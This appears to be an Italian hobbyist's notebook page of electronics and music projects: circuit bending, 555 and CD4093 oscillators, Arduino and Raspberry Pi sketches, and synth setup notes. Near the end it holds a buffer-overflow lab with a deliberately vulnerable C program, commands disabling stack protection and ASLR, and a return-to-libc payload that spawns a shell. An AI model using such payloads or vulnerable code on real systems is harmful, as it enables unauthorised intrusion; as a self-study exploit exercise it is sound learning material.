Con Circuit Bending si indica l'arte di modificare in maniera creativa, attraverso semplici cortocircuiti, apparecchi elettronici a bassa tensione o strumenti elettronici alimentati a pile, come giocattoli (il più famoso tra questi è lo Speak & Spell della Texas Instruments, commercializzato in Italia come Grillo Parlante dalla Clementoni), tastiere, batterie elettroniche e effetti per chitarra, allo scopo di generare suoni inediti e curiosi, creare nuovi strumenti musicali e generici generatori di suono.

Generalmente il Circuit Bending viene associato alla musica elettronica sperimentale, al noise e a musicisti alla ricerca di nuovi suoni e di nuove strumentazioni "aleatorie". I suoni generati da tali apparecchiature sono, infatti, per lo più casuali, caotici o comunque non canonicamente collegabili all'idea di suono emesso da uno strumento musicale.

























Articolo Punto Informatico









2 Timer 555
1 Condesatore ceramico 0.1 uF
1 Condesatore ceramico 0.01 uF
1 Condesantore elettrolitico 100 uF
1 Resistenza 1K Ohm


Il chip CD4093 è composto da quattro porte NAND identiche. Ci sono due porte su ciascun lato del chip, ma a differenza del 74C14, sono disposte in modo simmetrico, specularmente : l'uscita di ciascuna porta fronteggia l'uscita della successiva, piuttosto che essere nella stessa direzione.

Ho giocato con le fotoresistenze, una tra l'uscita e l'ingresso verso il condensatore e la massa della prima porta NAND va a modulare il Gate della seconda porta NAND da cui viene perlevata l'uscita audio; poi ho fatto un po di cambiamenti a caso per arrivare a effetti audio particolari modulando le fotoresistenze con delle luci intermittenti;











L'interferenza dei fili sul sensore ad ultrasuoni ha prodotto questa melodia impazzita di suoni, dovuta alla presenza dei fili e al mio corpo che si avvicinava e allontanava dal sensore;

I sensori ad ultrasuoni non forniscono direttamente la misura della distanza dell’oggetto più vicino, ma misurano il tempo impiegato da un segnale sonoro a raggiungere l’oggetto e ritornare al sensore. L’impulso ad ultrasuoni inviato dal HC-SR04 è di circa 40KHz il tempo viene misurato in microsecondi, la tensione di funzionamento è di 5V

Il sensore HC-SR04 dispone di 4 pin: Vcc (+5V), Trigger, Echo, GND. Si invia un impulso alto sul pin Trigger per almeno 10 microsecondi, a questo punto il sensore invierà il ping sonoro e aspetterà il ritorno delle onde riflesse, il sensore risponderà sul pin Echo con un impulso alto della durata corrispondente a quella di viaggio delle onde sonore, dopo 38 millisecondi si considera che non sia stato incontrato alcun ostacolo. Per sicurezza si aspettano in genere 50-60 millisec per far si che non vi siano interferenze con la misura successiva.

Progetto originale : link

Hardware

330Ω Resistor
470Ω Resistor
Solderless Breadboard
Ultrasonic Distance Sensor
3 x Male to Male Jumper Leads
4 x Male to Female Jumper Leads

Software

sudo apt update && sudo apt upgrade -y
sudo pip3 install python-osc

Python :

from gpiozero import DistanceSensor
from time import sleep

from pythonosc import osc_message_builder
from pythonosc import udp_client

sensor = DistanceSensor(echo=17, trigger=4)
sender = udp_client.SimpleUDPClient('127.0.0.1', 4559)

while True:
        pitch = round(sensor.distance * 100 + 30)
        sender.send_message('/play_this', pitch)
        sleep(0.1)


------

Sonic Pi :


live_loop :listen do
       message = sync "/play_this"
       note = message[:args][0]
       play note
end


















al posto del Fotoresistore nel simulatore ho messo uno Switch, quando è buio la resistenza è altissima, il valore del Fotoresistore in assenza di luce tende a pochi Ohm, ed è come se lo Switch fosse aperto e quindi il LED si accende; quando invece è giorno, la resistenza è praticamente nulla ed è come se lo Switch fosse chiuso; quando lo Switch è chiuso la base del BJT è a 0 Volt quindi il Transistor è interdetto; quando è aperto la base di trova a circa 0.7 Volt e quindi il Transistor conduce;



























#include <IRremote.h>

#define POWER         0xE0E040BF
#define UNO           0xE0E0906F
#define TVKEY         0xE0E0D827
#define ZERO          0xE0E08877  
#define CHPIU         0xE0E048B7
#define CHMENO        0xE0E008F7
#define SAMSUNG_BITS  32

IRsend irsend;

void setup()
{
  pinMode (3, OUTPUT);  //output as used in library
}

void loop() {
  

irsend.sendSAMSUNG(REPEAT, 32); // Some receivers seem to respond a lot faster when a repeat is sent before the actual command.
delay(35); //This delay is needed for optimal response.
irsend.sendSAMSUNG(ZERO, 32); // hex value, 32 bits
delayMicroseconds(50);

}

 
http://lirc.sourceforge.net/remotes/samsung/BN59-00940A 








1 CMOS Hex Schmitt Trigger CD40106BE;
3 fotoresistori;
3 Condensatori 1 uF;
3 diodi 1N914;




1 CMOS Hex Schmitt Trigger CD40106BE
1 fotoresistore
1 Condensatore 1 uF

Schmitt Trigger Oscillator
Spiegazione
Talking Electronics






1 OPAMP UA741
2 Resistor 1MΩ
1 Resistor 2k2
1 NPN Transistor 2N2222A
1 47n Capacitor

------------------------------



C1 Ceramic Capacitor capacitance 10nF;
J1 Piezo Speaker;
R1 Rotary Potentiometer resistance 10kΩ;
R2 Resistor resistance 100Ω;
R3 Resistor resistance 470Ω;
R4 Resistor resistance 1kΩ;
U1 555 Timer package DIP8
VCC1 Battery & Connector voltage 9V




Arduino;
TvOut;
Speaker;




Arduino;
Arduino-TVout library; invece della resistenza 470 Ohm ne ho usata una da 330 Ohm









#include <IRremote.h>

int RECV_PIN = 7;
int LED = 13;
int speakerPin = 3;


IRrecv irrecv(RECV_PIN);

decode_results results;

void setup()
{
  Serial.begin(9600);
  irrecv.enableIRIn(); // Start the receiver
  pinMode(LED, OUTPUT);
}

void loop() {
  if (irrecv.decode(&results)) {
    Serial.println(results.value, HEX);
    tone(speakerPin,1000,300);
   
    switch(results.value)

  {

  case 0xC0B92:
    Serial.println("fanculo");
    break;

  case 0xFF629D:
    Serial.println(" CH             ");
    break;
  }
    digitalWrite(LED, HIGH);
    delay(100);
    digitalWrite(LED, LOW);
    delay(100);
   
    irrecv.resume(); // Receive the next value
  }
}























int LEDGreen=9;
int LEDBlue=10;
int LEDRed=11;


int sensorPin=0;
int val;

void setup(){
  Serial.begin(9600);
  pinMode(LEDRed,OUTPUT);
  pinMode(LEDGreen,OUTPUT);
  pinMode(LEDBlue,OUTPUT);
}

void loop(){

  val=map(analogRead(sensorPin),0,1024,0,900);
  Serial.println(val);
  if (val<150) {
    analogWrite(LEDRed,0);
    analogWrite(LEDBlue,255);
    analogWrite(LEDGreen,255);
  } else if (val<300) {
    analogWrite(LEDRed,map(val,150,300,0,255));
    analogWrite(LEDBlue,map(val,150,300,255,0));
    analogWrite(LEDGreen,255);
  } else if (val<450) {
    analogWrite(LEDRed,255);
    analogWrite(LEDBlue,0);
    analogWrite(LEDGreen,255);
  } else if (val<600) {
    analogWrite(LEDRed,255);
    analogWrite(LEDBlue,map(val,450,600,0,255));
    analogWrite(LEDGreen,map(val,450,600,255,0));
  } else if (val<750) {
    analogWrite(LEDRed,255);
    analogWrite(LEDBlue,255);
    analogWrite(LEDGreen,0);
  } else if (val<900) {
    analogWrite(LEDRed,map(val,750,900,255,0));
    analogWrite(LEDBlue,255);
    analogWrite(LEDGreen,map(val,750,900,0,255));
  }
  delay(10);
}





int speakerPin = 9;



int length = 15; // the number of notes

char notes[] = "ccggaagffeeddc "; // a space represents a rest

int beats[] = { 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 2, 4 };

int tempo = 300;



void playTone(int tone, int duration) {

  for (long i = 0; i &lt; duration * 1000L; i += tone * 2) {

    digitalWrite(speakerPin, HIGH);

    delayMicroseconds(tone);

    digitalWrite(speakerPin, LOW);

    delayMicroseconds(tone);

  }

}



void playNote(char note, int duration) {

  char names[] = { 'c', 'd', 'e', 'f', 'g', 'a', 'b', 'C' };

  int tones[] = { 1915, 1700, 1519, 1432, 1275, 1136, 1014, 956 };



  // play the tone corresponding to the note name

  for (int i = 0; i &lt; 8; i++) {

    if (names[i] == note) {

      playTone(tones[i], duration);

    }

  }

}



void setup() {

  pinMode(speakerPin, OUTPUT);

}



void loop() {

  for (int i = 0; i &lt; length; i++) {

    if (notes[i] == ' ') {

      delay(beats[i] * tempo); // rest

    } else {

      playNote(notes[i], beats[i] * tempo);

    }



    // pause between notes

    delay(tempo / 2);

  }

}












uscendo dalla shell si va in segmentation fault perchè come ret c'è AAAA

gcc -m32 -o getenv ./getenv.c

gcc -m32 -fno-stack-protector -z execstack -o vuln ./vuln.c
sudo echo 0 > /proc/sys/kernel/randomize_va_space

vuln.c


#include <stdio.h>

int main(int argc, char *argv[])

{
char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);

}

getenv.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
        char *ptr;
        if(argc < 3) {
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }

        ptr = getenv(argv[1]); /* Get env var location. */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
        printf("%s will be at %p\n", argv[1], ptr);
}


export SHELL='/bin/sh'

------------------- GDB --------------------------


gdb ./vuln
b main
r
x/500s $esp
(per trovare l'indirizzo della SHELL)


mv getenv getv (stesso numero di caratteri di vuln)

./vuln $(python -c 'print "A"*268+"\x30\x6c\xe9\xf7"+"AAAA"+"\x3f\xd7\xff\xff"')
./getv SHELL ./vuln


documento pdf







Abilitare l'orologio vicino a Beats/Min, in questo modo Renoise sarà il Midi Slave
nelle Preferenze abilitare il Midi Slave sulla Porta Midi A a cui è connesso il Midi Through
che arriva da Seq24...


in questa patch ho collegato un LFO, abbassando la freq quasi a 0, a un VCO; in Baudline si può vedere lo spettro in frequenza dove la fondamentale del seno oscilla secondo la frequenza dell'LFO

patch AMS :



bisogna abilitare nel Show Voice Parameters il Type Modulator (FM) e il Frequency LFO